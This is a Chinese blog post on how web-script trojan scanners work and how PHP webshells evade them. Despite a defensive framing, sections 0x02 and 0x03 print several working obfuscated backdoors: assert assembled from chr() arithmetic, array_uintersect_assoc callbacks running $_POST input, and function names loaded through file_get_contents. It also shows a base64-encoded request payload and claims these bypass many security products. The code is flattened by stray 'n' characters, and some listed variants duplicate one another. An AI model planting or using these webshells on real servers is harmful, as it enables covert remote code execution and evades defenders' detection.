腳本木馬查殺原理的簡單探討

由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,一葉知安以及文章作者不為此承擔任何責任。

一葉知安擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經一葉知安允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。

本文主要從防禦、技術研究角度出發

網站又被掛馬了?

我怎麼不知道!資料庫怎麼被脫了!啥時候的事情?

0x00 前言

先來介紹什麼是腳本語言:

腳本語言又被稱為擴建的語言,或者動態語言,是一種編程語言,用來控制軟體應用程序,腳本通常以文本保存,只在被調用時進行解釋或編譯。—— 來源:百度百科

那麼由此可以看出,我們的每個腳本文件,都是被經過一個叫「腳本解釋器」的一個東西去解釋、編譯,然後將二進位傳遞給CPU。

在我們互聯網中的超文本標記語言出現以後,隨之就出現了為Web伺服器而設計的腳本語言。現在常見的都有:php、asp、aspx……

腳本解釋器與腳本語言之間的關係我們可以用一張圖來表示:

那麼經過腳本解釋器的處理以後,我們最終得到的結果就是leafsec。如果腳本里是一個數學表達式,或者其他代碼,同樣會被腳本解釋器去進行運算,最終給出結果。這裡的腳本解釋器就相當於一個計算器,你是一個小會計(伺服器),老闆(用戶)問你100+200等於多少你用計算器算出來結果,然後組織語言(腳本語言處理的結果,一般是HTML)告訴老闆。

0x01 分析

平常我們經常會遇到這類的腳本木馬:

那麼它的運行過程是什麼呢?

當腳本解釋器遇到需要再次調用腳本解釋器的指令才會去再次調用。可以通俗的講:腳本中如果有類似於eval這類的表達式,才會再次調用腳本解釋器去處理表達式傳遞的參數。

如果我們將參數指向用戶可控範圍,那麼損失是不可估量的。這有可能構造了一個任意代碼執行的漏洞。

下面分析一下解釋器:

為了方便理解,我們將上述解析過程中的解釋器分割為兩塊:

動態解釋器負責從用戶輸入的內容中讀取代碼去解釋、運算。

例如PHP中用戶可控的變數:$_COOKIE、$_POST、$_GET……

靜態解釋器負責從伺服器上讀取腳本文件內容進行解釋,如果遇到需要調用動態腳本解釋器的時候則調用動態解釋器。例如遇到:assert、eval等關鍵字。

0x02 大多腳本查殺產品的原理

很多產品的腳本木馬查殺技術都很相似,基本上是從兩個地方查殺。

1.網路請求內容

假設1.php是一個腳本木馬,我們輸入的字元都將會被當作腳本執行,如果請求參數的值中存在某些危險函數、或者關鍵字,那麼會被防護產品攔截,並且查殺文件。

在網路這塊我們可以採用編碼、加密傳輸指令。這樣就不會被防護軟體檢測到。

例如:

傳遞的時候直接將代碼加密即可:

g=cHJpbnRfcihmaWxlX2dldF9jb250ZW50cygnc2gucGhwJykpOw==n

2.文件內容

上面已經給出了一個文件免殺的代碼,可以看出我們進行了一個字元串拼接,然後調用了assert這個函數,將可控變數傳遞進去,就構造好了一個後門。

這裡的「cGhwaW5mbygpOw==」 是 「phpinfo();」的base64編碼結果。

如此一來我們的木馬就可以逃避網路請求內容匹配。

說道文件內容的查殺,一般都是採用正則表達式,它的效率是很高的,效果也不錯,但是遇到奇葩的文件、或者匹配不到的對象,查殺軟體都會把查殺目標當作正常文件。

當匹配到目標中存在可疑的內容、或者關鍵字的時候,會進行報警、隔離等操作。

我們來分析一下查殺軟體與免殺之間的關係:

這裡的安全區域指的是我們平常正常運行的項目或者代碼,並且基本的查殺軟體都可以查殺到,但是能夠被執行的代碼區域是比安全區域大很多的,這就意味著沒有絕對的安全,攻擊與防禦是相對的。早期的這類產品並沒有預測性,不會去主動搜集攻擊行為、可疑樣本。

上述情況也就衍生出了BypassCode,能夠在安全區域以外、正常區域以內運行的惡意代碼,都是bypass的。

貼出三四個來看看:

<?phpnt$_="s"."se";nt$_= chr((97 ^ 1)+1).$_."r".t;nt$pp = $_;nt$pp(base64_decode($_REQUEST[g]));nt?>nnt<?php //array_uintersect_assoc leafsec Teamnt$a1=array($_POST[admin]); nt$result=array_uintersect_assoc($a1,array(""),"assert"); ntprint_r($result); nt?>nt<?phpnt$___Ss = chr((97 ^ 1)+1); //[a]nt$___Ss .=chr((115 ^ 1)+1); //[s]nt$___Ss .=chr((115 ^ 1)+1); //[s]nt$___Ss .=chr((101 ^ 1)+1); //[e]nt$___Ss .=chr((114 ^ 0)); //[r]nt$___Ss .=chr((116 ^ 0)); //[t]nt$___Ss($_POST[usernamme]);nt?>nt<?phpntif(isset($_POST[filename])){nt $function = file_get_contents($_POST[filename]);nt $function($_POST[username]);nt}nt?>n/*narray_udiff_assoc()narray_udiff_uassoc()narray_intersect_assoc()narray_intersect_uassoc()narray_uintersect()narray_uintersect_uassoc()narray_uintersect_uassoc()n*/n<?phpn//array_uintersect_assocn$a1=array($_POST[admin]);n$result=array_uintersect_assoc($a1,array(""),"assert");nprint_r($result);n?>n<?phpn//array_intersect_assoc()n$a1=array($_POST[admin]);n$result=array_uintersect_assoc($a1,$a1,"assert");nprint_r($result);n?>n<?phpn//array_intersect_uassoc()n$a1=array($_POST[admin]);n$result=array_uintersect_assoc($a1,$a1,"assert");nprint_r($result);n?>n<?phpn//array_uintersect()n$a1=array($_POST[admin]);n$result=array_uintersect_assoc($a1,$a1,"assert");nprint_r($result);n?>n<?phpn//array_uintersect_assoc()n$a1=array($_POST[admin]);n$result=array_uintersect_assoc($a1,$a1,"assert");nprint_r($result);n?>n<?phpn//array_uintersect_uassoc()n$a1=array($_POST[admin]);n$result=array_uintersect_assoc($a1,$a1,"assert");nprint_r($result);n?>n<?phpn//array_uintersect_uassoc()n$a1=array($_POST[admin]);n$result=array_uintersect_assoc($a1,$a1,"assert");nprint_r($result);n?>n

0x03 更加有意思

上面0x02中說的情況無非就是安全產品在腳本安全這個領域的痛點,無法預測未來的情況。

看看下面的代碼,也是可以體現出一個痛點:

<?phpnif(isset($_POST[filename])){n $function = file_get_contents($_POST[filename]);n $function($_POST[username]);n}n?>n

這個是不是很像遠程文件讀取?

如果遠程文件包含用不了,我們就可以用這個方法取巧。

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.n; http://php.net/allow-url-fopennallow_url_fopen = Onnn; Whether to allow include/require to open URLs (like http:// or ftp://) as files.n; http://php.net/allow-url-includenallow_url_include = Offn

好像……把讀取過來的內容當作函數運行了?

和我們以前經常用到的include姿勢差不多吧,但是這個方法很是厲害,為什麼這麼說呢?

目前的查殺產品或者說是防護產品,大多無法去讀取解釋器的緩衝區(就我目前接觸的,沒有一個),這就造成了文件讀取過來後都是放在伺服器內存的,防護產品如果能做到這一點,確實是一個亮點,但是做出來後也要考慮對伺服器資源開銷情況。

圖示:

用戶可控的範圍可以指向函數的空間,並且可以傳遞任意參數,而且這個再加幾層編碼,幾乎可以繞過N多產品了!!

改版一下玩玩:

<?phpnif(isset($_POST[filename])){n $function = file_get_contents($_POST[filename]);n $function(base64_decode($_POST[username]));n}n

我們看看伺服器上的配置:

這個遠程地址也可以是站點內部地址,或者絕對路徑。但是前提配置文件中必須允許遠程文件的讀取操作。

可以看到phpstudy中的默認配置是允許遠程文件讀取的。其設置對應我們常用函數file_get_contents、fopen....

0x04 總結

說了這麼多,我們可以做一個總結了,目前的腳本可變性太高了,查殺軟體無法預測將來的版本,同樣的也不能給出解決方案。

"越靈活越不安全",站點被黑不能讓防護軟體的開發商來背鍋,真正該背鍋的還是程序員……在這我不是黑程序員哈,其實我也是程序員,我寫的代碼有時候都可能有疏忽,所以一個好的編碼習慣很重要,如果不是代碼層面的問題,那麼就是運維的鍋了,哈哈。運維哥哥看完文章別打我,其實我也是運維。。

防護建議:提高開發人員對安全的重視程度,制定編碼規範,統一全局防護。

至於安全從業人員如果想從這篇文章學習「姿勢」的話我就不總結了,因為我們國家的網路安全法馬上就要實行了,大家交流技術一定要以防禦角度去交流,我們是好人。

到文末了呢,傾旋在這代表一葉知安團隊祝大家端午節快樂了!! (餓死,去吃飯了。)

如果想了解漏洞平台就戳進去。

2017/05/28 寫。

推薦閱讀:

2017年度最不安全密碼報告出爐,你中了幾個?
如何學習滲透技術?
NO.21 波折的十二月-年終總結
踏雪無痕——對新型無文件後門 JS_POWMET 的簡單分析
(信息安全)世界技術巨頭與政府之間的較量

TAG:黑客Hacker | 信息安全 | Web安全测试 |